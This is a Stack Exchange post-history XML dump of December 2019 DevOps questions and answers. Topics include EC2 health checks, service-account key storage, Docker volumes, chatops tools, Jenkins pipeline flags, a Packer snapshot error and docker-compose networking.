  <row Id="30085" PostHistoryTypeId="5" PostId="10019" RevisionGUID="ae1e9ca2-3fd0-460c-916a-f0e5393929a8" CreationDate="2019-12-04T08:41:45.647" UserId="354" Comment="minor spelling issues." Text="Recently I was playing around a bit with AWS as a part of a course that I am doing. I came across a situation that to be honest is keeping be in vilo.&#xD;&#xA;&#xD;&#xA;I made a web application which connects to a backend that basically launches a EC2 t2.micro instance on AWS. From time to time, I pull the status of the machine to check whether it is on `running` state or note. The AMI I am using it is a configured wordpress from the marketplace.&#xD;&#xA;&#xD;&#xA;As soon as the instance gets to the `running` state, I show a message indicating the server is up and running and provide the user with the instance's public ip address, the problem is that, it is not after a few minutes later when indeed the IP is resolved/accessible. The security group attached to the instance has the inbound and outbound traffic configured to allow TCP traffic on port 80, 22 and 443.&#xD;&#xA;&#xD;&#xA;My question is, the `running` state simply means the instance is ready to work but, as far as I know, it does not mean OS has booted nor the X application (in this case wordpress and its configured server) are ready to or finished the bootstrapping. How can I check that indeed the application/OS has booted is I can ensure that when the user is trying to access the IP it will not timeout.&#xD;&#xA;&#xD;&#xA;My first attempt was to ping the instance bu to be honest I don't think it's a reliable request since, I'd also need to enable the ICMP protocol but at the end, it's working in another internet layer.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Javi." ContentLicense="CC BY-SA 4.0" />
  <row Id="30086" PostHistoryTypeId="2" PostId="10021" RevisionGUID="d0748d33-e38e-412c-9bbe-1b22d79b717d" CreationDate="2019-12-04T08:42:31.027" UserId="10671" Text="How securely to keep google cloud service account key?&#xD;&#xA;&#xD;&#xA;I want to ask about how we should securely keep service account key. The scenario looks like:&#xD;&#xA;&#xD;&#xA; - Our product is connecting to BigQuery. &#xD;&#xA; - We have project which is used only by developers as playground.  &#xD;&#xA; - We need to run integration tests in pipelines and they needs service account to run correctly.&#xD;&#xA; - Developer also should be able to run integration tests locally.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Where should I put the service account key? &#xD;&#xA;&#xD;&#xA;I can add it to our repository, but I'm not sure if this solution is ok. (even it is only key with read-only permission to developer version of BigQuery).&#xD;&#xA;&#xD;&#xA;The second solution is create a few keys. And every developer should has own. Then every developer have to care about key himself (and we can easy remove key when developer i.e quit job)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30087" PostHistoryTypeId="1" PostId="10021" RevisionGUID="d0748d33-e38e-412c-9bbe-1b22d79b717d" CreationDate="2019-12-04T08:42:31.027" UserId="10671" Text="How securely to keep google cloud service account key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30088" PostHistoryTypeId="3" PostId="10021" RevisionGUID="d0748d33-e38e-412c-9bbe-1b22d79b717d" CreationDate="2019-12-04T08:42:31.027" UserId="10671" Text="&lt;google-cloud-platform&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30089" PostHistoryTypeId="5" PostId="10020" RevisionGUID="bc7d0c3e-23e7-4080-a052-93b5bb8ff1c4" CreationDate="2019-12-04T08:47:34.027" UserId="354" Comment="added 586 characters in body" Text="What you are talking about is known as a health check. Typically these are handled by load balancers, to decide whether instances are &quot;healthy&quot;, and thus can serve (usually HTTP) traffic. The load balancers will poll and endpoint that you define to decide whether the instances are healthy, usually by seeing if the HTTP response code is some known-good one, like 200.&#xD;&#xA;&#xD;&#xA;One solution therefore, could be to front your application with a load balancer, and enable [health checks](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-healthchecks.html) on the relevant urls. This will check whether your application is serving traffic properly, when polled by the load balancer. While this adds a level of complexity (and cost) to the app, it is also quite easy to do.&#xD;&#xA;&#xD;&#xA;Of course, you could mimic this functionality without an AWS load balancer, by having your app poll the url that the app is supposed to respond on, by using the DNS or IP name returned by AWS after the instance becomes &quot;running&quot;. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another option would be to set up an actual monitoring system to check whether the application is serving content. A very simple and free tool that would do the job is _e.g._ [Freshping](https://www.freshworks.com/website-monitoring/).&#xD;&#xA;&#xD;&#xA;You could also write an [Inspec Compliance profile](https://www.inspec.io/docs/reference/profiles/) to describe a known good state of the machine. Inspec can connect to the machine via SSH, which you specify as being open. This may sound like overkill, and quite similar to the ICMP test you considered before, but it's nevertheless an option :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30091" PostHistoryTypeId="5" PostId="10005" RevisionGUID="908b04e4-9bfc-41db-93b6-bc9505362e84" CreationDate="2019-12-04T10:43:58.297" UserId="210" Comment="deleted 13 characters in body" Text="I'm very new to DevOps but I'm trying to learn some of it a bit.  I'm working with Terraform, trying to get a service to run on AWS using Fargate and Docker.  I've successfully set up my ECR repositories, and I walked through [this tutorial][1] on getting a service set up in Fargate.  However, I'm having a bit of a problem.  When I walked through the tutorial, everything worked more or less fine (there were some small issues but it was mostly pilot error), but when I tried to deploy my own application everything kind of exploded, and I can't figure out why.&#xD;&#xA;&#xD;&#xA;- The error I'm getting is 502 Bad Gateway.&#xD;&#xA;- The application is a Java Spring application with embedded Tomcat.  I haven't changed any run configurations from the default Spring config.&#xD;&#xA;- I am able to build and Dockerize my application locally and run it through Docker on my local machine and everything works fine.&#xD;&#xA;- The only changes from the tutorial code (linked above) that I made was changing the Docker image and changing the app_port from 3000 to 8080 (I also enabled Access Logging and added an S3 bucket for that purpose)&#xD;&#xA;- The application has some auth security enabled, and when I try to hit the LB I get a login screen, so I know at least my Docker image is being pulled correctly&#xD;&#xA;- One of the errors in the task logs of my ECS instances says something about failing a health check, although I'm not able to figure out anything more than that.&#xD;&#xA;&#xD;&#xA;To be honest I'm a total newbie at DevOps anything so I have no idea what I'm doing.  Can anyone point me in some direction to help me get started?&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@bradford_hamilton/deploying-containers-on-amazons-ecs-using-fargate-and-terraform-part-2-2e6f6a3a957f" ContentLicense="CC BY-SA 4.0" />
  <row Id="30092" PostHistoryTypeId="5" PostId="10019" RevisionGUID="81ee4112-4ecc-4224-890c-a8d25b125a44" CreationDate="2019-12-04T10:44:30.843" UserId="210" Comment="deleted 29 characters in body" Text="Recently I was playing around a bit with AWS as a part of a course that I am doing. I came across a situation that to be honest is keeping be in vilo.&#xD;&#xA;&#xD;&#xA;I made a web application which connects to a backend that basically launches a EC2 t2.micro instance on AWS. From time to time, I pull the status of the machine to check whether it is on `running` state or note. The AMI I am using it is a configured wordpress from the marketplace.&#xD;&#xA;&#xD;&#xA;As soon as the instance gets to the `running` state, I show a message indicating the server is up and running and provide the user with the instance's public ip address, the problem is that, it is not after a few minutes later when indeed the IP is resolved/accessible. The security group attached to the instance has the inbound and outbound traffic configured to allow TCP traffic on port 80, 22 and 443.&#xD;&#xA;&#xD;&#xA;My question is, the `running` state simply means the instance is ready to work but, as far as I know, it does not mean OS has booted nor the X application (in this case wordpress and its configured server) are ready to or finished the bootstrapping. How can I check that indeed the application/OS has booted is I can ensure that when the user is trying to access the IP it will not timeout.&#xD;&#xA;&#xD;&#xA;My first attempt was to ping the instance bu to be honest I don't think it's a reliable request since, I'd also need to enable the ICMP protocol but at the end, it's working in another internet layer." ContentLicense="CC BY-SA 4.0" />
  <row Id="30093" PostHistoryTypeId="2" PostId="10022" RevisionGUID="7afde398-1c01-44d3-8ac5-943373b221c3" CreationDate="2019-12-04T12:49:28.110" UserId="13333" Text="I am trying to setup **plug-and-play** docker images for my team members who do both - development and support. There are two critical folders that are part of the **build** (`eggs` and `src`) that needs to be exposed to the end users so that they can edit it in any editor of their choice.&#xD;&#xA;&#xD;&#xA;All the options to edit container files in host machine talks about mounting a fresh folder from the outside; but like I said, my `src` and `egg` folder is **part of the build** so I can't let them mount a fresh folder during `docker run`.&#xD;&#xA;&#xD;&#xA;I thought of about using volumes, but here are the questions I have on this approach:&#xD;&#xA;&#xD;&#xA;1) Do we usually put build stuff that are actually part of the container into volumes? The container has no meaning without these volumes.&#xD;&#xA;&#xD;&#xA;2) Can end users take a copy of these volumes and just modify it according to their convenience without the master copy of these volumes? (Like Image vs Container concept?)&#xD;&#xA;&#xD;&#xA;PS: I haven't research enough on volumes but I thought I could ask this question anyway.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30094" PostHistoryTypeId="1" PostId="10022" RevisionGUID="7afde398-1c01-44d3-8ac5-943373b221c3" CreationDate="2019-12-04T12:49:28.110" UserId="13333" Text="How can I expose directories inside a docker container to outside?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30095" PostHistoryTypeId="3" PostId="10022" RevisionGUID="7afde398-1c01-44d3-8ac5-943373b221c3" CreationDate="2019-12-04T12:49:28.110" UserId="13333" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30096" PostHistoryTypeId="5" PostId="10022" RevisionGUID="84d04886-4a3b-4c30-80de-d0f5d0ba4591" CreationDate="2019-12-04T12:56:23.860" UserId="13333" Comment="added 83 characters in body" Text="I am trying to setup **plug-and-play** docker images for my development and support team members - however I am running into some problems because I want them to be able to use the editor of their choice!&#xD;&#xA;&#xD;&#xA;There are two critical folders that are part of the **build** (`eggs` and `src`) that needs to be exposed to the end users so that they can edit it in any editor of their choice.&#xD;&#xA;&#xD;&#xA;All the options to edit container files in host machine talks about mounting a fresh folder from the outside; but like I said, my `src` and `egg` folders are **part of the build**, so I can't let them mount a fresh folder during `docker run`.&#xD;&#xA;&#xD;&#xA;I thought of about using volumes, but here are the questions I have on this approach:&#xD;&#xA;&#xD;&#xA;1) Do we usually put build stuff that are actually part of the container into volumes? The container has no meaning without these volumes.&#xD;&#xA;&#xD;&#xA;2) Can end users take a copy of these volumes and just modify it according to their convenience without the master copy of these volumes? (Like Image vs Container concept?)&#xD;&#xA;&#xD;&#xA;PS: I haven't research enough on volumes but I thought I could ask this question anyway.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30097" PostHistoryTypeId="5" PostId="10022" RevisionGUID="ca2dd423-fd65-41f6-82f8-9540ed89362e" CreationDate="2019-12-04T13:01:51.937" UserId="13333" Comment="added 83 characters in body" Text="I am trying to setup **plug-and-play** docker images for my development and support team members - however I am running into some problems because I want them to be able to use the editor of their choice!&#xD;&#xA;&#xD;&#xA;There are two critical folders that are part of the **build** (`eggs` and `src`) that needs to be exposed to the end users so that they can edit it in any editor of their choice.&#xD;&#xA;&#xD;&#xA;All the options to edit container files in host machine talks about mounting a fresh folder from the outside; but like I said, my `src` and `egg` folders are **part of the build**, so I can't let them mount a fresh folder during `docker run`.&#xD;&#xA;&#xD;&#xA;I thought of about using volumes, but here are the questions I have on this approach:&#xD;&#xA;&#xD;&#xA;1) Do we usually put build stuff that are actually part of the container into volumes? The container has no meaning without these volumes.&#xD;&#xA;&#xD;&#xA;2) Can end users take a copy of these volumes and just modify it according to their convenience without the master copy of these volumes? (Like Image vs Container concept?)&#xD;&#xA;&#xD;&#xA;All my problems will be solved if I can expose folders inside my container to the outside (not the reverse), but that seems really tricky to achieve!&#xD;&#xA;&#xD;&#xA;PS: I haven't research enough on volumes but I thought I could ask this question anyway.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30098" PostHistoryTypeId="4" PostId="10022" RevisionGUID="ca2dd423-fd65-41f6-82f8-9540ed89362e" CreationDate="2019-12-04T13:01:51.937" UserId="13333" Comment="added 83 characters in body" Text="How can I access directories inside a docker container from outside (not the reverse!)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30099" PostHistoryTypeId="2" PostId="10023" RevisionGUID="75f2de61-41e2-44be-b8ee-c2619b564755" CreationDate="2019-12-04T13:25:47.953" UserId="18511" Text="I'm considering implementing a chatops platform for my company to help automate code deploys. I've seen some alternatives, which I narrowed down to [cog][1] and [Errbot][2]. Errbot seems to be actively maintained, while cog hasn't seen a commit to master since July 2018. I liked cog's architecture, which gives me a sense of performance and resiliency; it can easily be deployed in Kubernetes and it is extensible in any language. Also the ACL features are very interesting.&#xD;&#xA;&#xD;&#xA;My previous company's devops team used cog, and it seemed pretty solid to me. However, I'm concerned about deploying it as my current devops team is small and if cog is no longer maintained we cannot afford to maintain it.&#xD;&#xA;&#xD;&#xA;Can you share your experience with this platform, and if you would recommend starting a chatops implementation with cog?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/operable/cog&#xD;&#xA;  [2]: https://errbot.readthedocs.io/en/latest/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="30100" PostHistoryTypeId="1" PostId="10023" RevisionGUID="75f2de61-41e2-44be-b8ee-c2619b564755" CreationDate="2019-12-04T13:25:47.953" UserId="18511" Text="Would you recommend using cog for chatops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30101" PostHistoryTypeId="3" PostId="10023" RevisionGUID="75f2de61-41e2-44be-b8ee-c2619b564755" CreationDate="2019-12-04T13:25:47.953" UserId="18511" Text="&lt;chatops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30102" PostHistoryTypeId="2" PostId="10024" RevisionGUID="6587966d-e731-46a2-b497-66c6182fdcad" CreationDate="2019-12-04T15:30:47.520" UserId="15792" Text="I think you may be using the wrong tool for the job.  Docker is not designed to be a version control system, it is designed for containerization.  Furthermore, your question makes it sound like the development and support team members are constantly changing the files that are essential to the makeup of the image.  This makes using a volume pointless as the Docker image will always be changing.&#xD;&#xA;&#xD;&#xA;If I'm understanding what you are trying to achieve (people should be able to modify the `src` and `eggs` folders with whatever editor they want), then you may want to explore adopting a [CI][1]/[CD][2] workflow:&#xD;&#xA;&#xD;&#xA; 1. Committed changes to the `src` and `egg` folders trigger a new image to be built.&#xD;&#xA; 2. The new image is pushed to a [Docker repository][3].&#xD;&#xA; 3. Team members can then pull the updated image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for your two specific questions:&#xD;&#xA;&#xD;&#xA;&gt; Do we usually put build stuff that are actually part of the container into volumes? The container has no meaning without these volumes.&#xD;&#xA;&#xD;&#xA;Not usually.  Generally if I have to make changes to a container I would remote into it and then commit the changes.&#xD;&#xA;&#xD;&#xA;&gt; Can end users take a copy of these volumes and just modify it according to their convenience without the master copy of these volumes? (Like Image vs Container concept?)&#xD;&#xA;&#xD;&#xA;This is sounding like a version control system which Docker is not designed for.  You can have a shared [volume][4] that users have access to, but the use case is for persisting data outside of containers (e.g. SQL database data).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [2]: https://www.atlassian.com/continuous-delivery/principles/continuous-integration-vs-delivery-vs-deployment&#xD;&#xA;  [3]: https://docs.docker.com/docker-hub/repos/&#xD;&#xA;  [4]: https://docs.docker.com/storage/volumes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30103" PostHistoryTypeId="5" PostId="10022" RevisionGUID="cd14a2af-60be-4442-ad90-1b993193ed54" CreationDate="2019-12-04T16:05:58.903" UserId="13333" Comment="added 165 characters in body" Text="I am trying to setup **plug-and-play** docker images for my development and support team members - however I am running into some problems because I want them to be able to use the editor of their choice!&#xD;&#xA;&#xD;&#xA;There are two critical folders that are part of the **build** (`eggs` and `src`) that needs to be exposed to the end users so that they can edit it in any editor of their choice.&#xD;&#xA;&#xD;&#xA;All the options to edit container files in host machine talks about mounting a fresh folder from the outside; but like I said, my `src` and `egg` folders are **part of the build**, so I can't let them mount a fresh folder during `docker run`.&#xD;&#xA;&#xD;&#xA;I thought of about using volumes, but here are the questions I have on this approach:&#xD;&#xA;&#xD;&#xA;1) Do we usually put build stuff that are actually part of the container into volumes? The container has no meaning without these volumes.&#xD;&#xA;&#xD;&#xA;2) Can end users take a copy of these volumes and just modify it according to their convenience without the master copy of these volumes? (Like Image vs Container concept?)&#xD;&#xA;&#xD;&#xA;All my problems will be solved if I can expose folders inside my container to the outside (not the reverse), but that seems really tricky to achieve!&#xD;&#xA;&#xD;&#xA;PS: I haven't research enough on volumes but I thought I could ask this question anyway.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Just to complete the workflow, our development/support team usually identifies and fixes these problems in their machine, sends a PR to the Git system which then gets merged etc.&#xD;&#xA;&#xD;&#xA;I am trying to use Docker to solve the problem of not re-building the entire web-app in each developers machine running multiple OSes etc.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30105" PostHistoryTypeId="5" PostId="10023" RevisionGUID="6b2e64e2-10cb-42a9-a31a-7377fd47e376" CreationDate="2019-12-04T17:00:06.380" UserId="210" Comment="deleted 11 characters in body" Text="I'm considering implementing a chatops platform for my company to help automate code deploys. I've seen some alternatives, which I narrowed down to [cog][1] and [Errbot][2]. Errbot seems to be actively maintained, while cog hasn't seen a commit to master since July 2018. I liked cog's architecture, which gives me a sense of performance and resiliency; it can easily be deployed in Kubernetes and it is extensible in any language. Also the ACL features are very interesting.&#xD;&#xA;&#xD;&#xA;My previous company's devops team used cog, and it seemed pretty solid to me. However, I'm concerned about deploying it as my current devops team is small and if cog is no longer maintained we cannot afford to maintain it.&#xD;&#xA;&#xD;&#xA;Can you share your experience with this platform, and if you would recommend starting a chatops implementation with cog?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/operable/cog&#xD;&#xA;  [2]: https://errbot.readthedocs.io/en/latest/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="30106" PostHistoryTypeId="50" PostId="9666" RevisionGUID="88936eb1-e6dd-4fe6-abdd-ab9bfdba14d3" CreationDate="2019-12-04T18:00:50.173" UserId="-1" />
  <row Id="30108" PostHistoryTypeId="2" PostId="10025" RevisionGUID="a85e4e11-ca92-4252-a1a0-397ff15007cf" CreationDate="2019-12-04T18:49:09.097" UserId="18476" Text="Do you run selenium as a separate process?  &#xD;&#xA;I had the same issue if you are not running selenium in the background." ContentLicense="CC BY-SA 4.0" />
  <row Id="30112" PostHistoryTypeId="2" PostId="10026" RevisionGUID="d1dc3aea-94c4-43af-8af9-71b97f2e1b80" CreationDate="2019-12-04T22:29:28.260" UserId="18523" Text="What are the downsides for CI servers to use 32 bit Docker images?&#xD;&#xA;&#xD;&#xA;For example, using `FROM i386/python:3.6.9-alpine3.9` instead of `python:3.6.9-alpine3.9` in `Dockerfile`.&#xD;&#xA;&#xD;&#xA;`python:3.6.9-alpine3.9` (32 bit, 31.3 MB) is over 4% smaller than `python:3.6.9-alpine3.9` (64 bit, 32.7 MB). The 32 bit images on Dockerhub are usually smaller than the 64 bit images.&#xD;&#xA;&#xD;&#xA;When using 32 bit containers, I see no performance difference to the 64 bit containers. Using 32 bit images and containers save me space." ContentLicense="CC BY-SA 4.0" />
  <row Id="30113" PostHistoryTypeId="1" PostId="10026" RevisionGUID="d1dc3aea-94c4-43af-8af9-71b97f2e1b80" CreationDate="2019-12-04T22:29:28.260" UserId="18523" Text="Using 32 bit for savings" ContentLicense="CC BY-SA 4.0" />
  <row Id="30114" PostHistoryTypeId="3" PostId="10026" RevisionGUID="d1dc3aea-94c4-43af-8af9-71b97f2e1b80" CreationDate="2019-12-04T22:29:28.260" UserId="18523" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;dockerfile&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30121" PostHistoryTypeId="2" PostId="10028" RevisionGUID="330e80b5-fcdb-4b3b-8027-52576426e80e" CreationDate="2019-12-05T05:31:38.983" UserId="17684" Text="You may use and update a flag to `false` in the `catch` and then use that flag in the `when` directive of other stage(s) that you want to skip because of any failure in the given stage. Example:  &#xD;&#xA;&#xD;&#xA;    boolean flagStageOneSuccess = false&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;    	agent any&#xD;&#xA;    	&#xD;&#xA;    	stages {&#xD;&#xA;    		stage ('stage-1') {&#xD;&#xA;    			steps {&#xD;&#xA;    				try {&#xD;&#xA;    					// Do something that might fail&#xD;&#xA;    					&#xD;&#xA;    					flagStageOneSuccess = true&#xD;&#xA;    					&#xD;&#xA;    				} catch (Exception e) {&#xD;&#xA;    					// Handle the exception&#xD;&#xA;    					flagStageOneSuccess = false&#xD;&#xA;    				}&#xD;&#xA;    			}&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		stage ('stage-2') {&#xD;&#xA;    			when {&#xD;&#xA;    				equals expected: true, actual: flagStageOneSuccess&#xD;&#xA;    			}&#xD;&#xA;    			steps {&#xD;&#xA;    				// Do something in stage-2&#xD;&#xA;    			}&#xD;&#xA;    		}&#xD;&#xA;    	}&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="30122" PostHistoryTypeId="5" PostId="10028" RevisionGUID="c17086e7-a8ee-47ce-882e-9402ff5ddd0b" CreationDate="2019-12-05T05:41:04.413" UserId="17684" Comment="Added some more details." Text="You may use and update a flag to `false` in the `catch` and then use that flag in the `when` directive of other stage(s) that you want to skip because of any failure in the given stage. Example:  &#xD;&#xA;&#xD;&#xA;    boolean flagStageOneSuccess = false&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;    	agent any&#xD;&#xA;    	&#xD;&#xA;    	stages {&#xD;&#xA;    		stage ('stage-1') {&#xD;&#xA;    			steps {&#xD;&#xA;    				try {&#xD;&#xA;    					// Do something that might fail&#xD;&#xA;    					&#xD;&#xA;    					flagStageOneSuccess = true&#xD;&#xA;    					&#xD;&#xA;    				} catch (Exception e) {&#xD;&#xA;    					// Handle the exception&#xD;&#xA;    					flagStageOneSuccess = false&#xD;&#xA;    				}&#xD;&#xA;    			}&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		stage ('stage-2') {&#xD;&#xA;    			when {&#xD;&#xA;    				equals expected: true, actual: flagStageOneSuccess&#xD;&#xA;    			}&#xD;&#xA;    			steps {&#xD;&#xA;    				// Do something in stage-2&#xD;&#xA;    			}&#xD;&#xA;    		}&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;It would also benefit you in viewing the status of your stage in `Blue Ocean`. If the stage is skipped, it shows as 'Not built'." ContentLicense="CC BY-SA 4.0" />
  <row Id="30125" PostHistoryTypeId="2" PostId="10029" RevisionGUID="d4bedbad-f2fb-4bc6-9215-397d77db153e" CreationDate="2019-12-05T12:14:15.570" UserId="18533" Text="When I'm running&#xD;&#xA;`sudo packer2 build  -debug template.json`&#xD;&#xA;&#xD;&#xA;with this code:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;variables&quot;: {&#xD;&#xA;      &quot;profile&quot;: &quot;aws&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;eu-west-1&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;builders&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;amazon-chroot&quot;,&#xD;&#xA;      &quot;profile&quot;: &quot;{{user `profile`}}&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;{{user `region`}}&quot;,&#xD;&#xA;      &quot;source_ami_filter&quot;: {&#xD;&#xA;        &quot;filters&quot;: {&#xD;&#xA;          &quot;virtualization-type&quot;: &quot;hvm&quot;,&#xD;&#xA;          &quot;name&quot;: &quot;xxx-hvm-*&quot;,&#xD;&#xA;          &quot;root-device-type&quot;: &quot;ebs&quot;&#xD;&#xA;          },&#xD;&#xA;        &quot;owners&quot;: [&quot;xxxx&quot;],&#xD;&#xA;        &quot;most_recent&quot;: true&#xD;&#xA;      },&#xD;&#xA;      &quot;ami_name&quot;: &quot;muchos-datos-{{timestamp}}&quot;,&#xD;&#xA;      &quot;ami_description&quot;: &quot;Muchos-Datos server&quot;,&#xD;&#xA;      &quot;root_volume_type&quot;: &quot;gp2&quot;&#xD;&#xA;    }],&#xD;&#xA;    &quot;provisioners&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;      &quot;inline&quot;: [&#xD;&#xA;        &quot;sleep 30&quot;,&#xD;&#xA;        &quot;yum install python3&quot;&#xD;&#xA;      ]&#xD;&#xA;    }]&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;I have message:&#xD;&#xA;&#xD;&#xA;    Debug mode enabled. Builds will not be parallelized.&#xD;&#xA;    amazon-chroot output will be in this color.&#xD;&#xA;&#xD;&#xA;    ==&gt; amazon-chroot: Prevalidating AMI Name: muchos-datos-1575543569&#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepPreValidate'. Press enter to continue. &#xD;&#xA;    ==&gt; amazon-chroot: Gathering information about this EC2 instance...&#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepInstanceInfo'. Press enter to continue. &#xD;&#xA;        amazon-chroot: Found Image ID: ami-06e79ab2b05283afe&#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepSourceAMIInfo'. Press enter to continue. &#xD;&#xA;    ==&gt; amazon-chroot: Checking the root device on source AMI...&#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepCheckRootDevice'. Press enter to continue. &#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepFlock'. Press enter to continue. &#xD;&#xA;    ==&gt; amazon-chroot: Pausing after run of step 'StepPrepareDevice'. Press enter to continue. &#xD;&#xA;    ==&gt; amazon-chroot: Creating the root volume...&#xD;&#xA;    ==&gt; amazon-chroot: Error creating root volume: InvalidSnapshot.NotFound: Snapshot does not exist&#xD;&#xA;    ==&gt; amazon-chroot:      status code: 400, request id: 5d470db2-fe0d-4179-80db-ae36c90e32ed&#xD;&#xA;    ==&gt; amazon-chroot: Pausing before cleanup of step 'StepPrepareDevice'. Press enter to continue.&#xD;&#xA;&#xD;&#xA;I tried with different AMI and packer works.&#xD;&#xA;&#xD;&#xA;Working AMI:&#xD;&#xA;&#xD;&#xA;        Block Devices&#xD;&#xA;       /dev/xvda=snap-05d661e44b5d7433e:2:true:standard&#xD;&#xA;&#xD;&#xA;Problematic AMI:&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    Block Devices&#xD;&#xA;       /dev/xvda=snap-0c65d8a351a04777e:8:true:gp2&#xD;&#xA;&#xD;&#xA;I added option `&quot;root_volume_type&quot;: &quot;gp2&quot;` but it didn't help.&#xD;&#xA;What's important I can create working instance using this &quot;Problematic AMI&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="30126" PostHistoryTypeId="1" PostId="10029" RevisionGUID="d4bedbad-f2fb-4bc6-9215-397d77db153e" CreationDate="2019-12-05T12:14:15.570" UserId="18533" Text="Hasicorp Packer: InvalidSnapshot.NotFound: Snapshot does not exist" ContentLicense="CC BY-SA 4.0" />
  <row Id="30127" PostHistoryTypeId="3" PostId="10029" RevisionGUID="d4bedbad-f2fb-4bc6-9215-397d77db153e" CreationDate="2019-12-05T12:14:15.570" UserId="18533" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30128" PostHistoryTypeId="33" PostId="9991" RevisionGUID="dea88e0b-92f4-49e5-9213-3afa6a6eb75b" CreationDate="2019-12-05T13:00:52.367" UserId="18304" Comment="45" />
  <row Id="30129" PostHistoryTypeId="2" PostId="10030" RevisionGUID="dcde98ad-4845-458d-a35c-aacaa18e19e2" CreationDate="2019-12-05T15:31:55.747" UserId="18537" Text="I'm trying to connect from a node app container to a postgresql container using docker-compose but I'm not able to do it.&#xD;&#xA;This is my docker-compose.yml file:&#xD;&#xA;`version: '3.7'&#xD;&#xA;services:&#xD;&#xA;  db:&#xD;&#xA;    image: postgres:12.1&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;5432:5432&quot;&#xD;&#xA;    env_file:&#xD;&#xA;      - &quot;./.env&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - tcp-modbus&#xD;&#xA;    volumes:&#xD;&#xA;      - ./modbustcp.sql:/docker-entrypoint-initdb.d/init.sql&#xD;&#xA;  redis:&#xD;&#xA;    image: redis:5.0.6&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;6379:6379&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - tcp-modbus&#xD;&#xA;  rabbit:&#xD;&#xA;    image: &quot;rabbitmq&quot;&#xD;&#xA;    environment:&#xD;&#xA;      RABBITMQ_ERLANG_COOKIE: &quot;SWQOKODSQALRPCLNMEQG&quot;&#xD;&#xA;      RABBITMQ_DEFAULT_USER: &quot;*&quot;&#xD;&#xA;      RABBITMQ_DEFAULT_PASS: &quot;*&quot;&#xD;&#xA;      RABBITMQ_DEFAULT_VHOST: &quot;/&quot;&#xD;&#xA;    ports:&#xD;&#xA;    - &quot;15672:15672&quot;&#xD;&#xA;    - &quot;5672:5672&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - &quot;./enabled_plugins:/etc/rabbitmq/enabled_plugins&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - tcp-modbus&#xD;&#xA;  modbus-tcp:&#xD;&#xA;    image: customImage&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;8080:3000&quot;&#xD;&#xA;    links:&#xD;&#xA;      - &quot;db&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - &quot;./modbus.env:/usr/src/app/.env&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - tcp-modbus&#xD;&#xA;networks:&#xD;&#xA;  tcp-modbus:&#xD;&#xA;    driver: bridge`&#xD;&#xA;&#xD;&#xA;I'm using typeorm to set the connection from the node app and was working fine before dockerizing the app, maybe has something to do with the host name of the container, cause I'm using localhost to connect to the postgresql container. Can I use somehow the container network as a hostname to connect to postgres?" ContentLicense="CC BY-SA 4.0" />
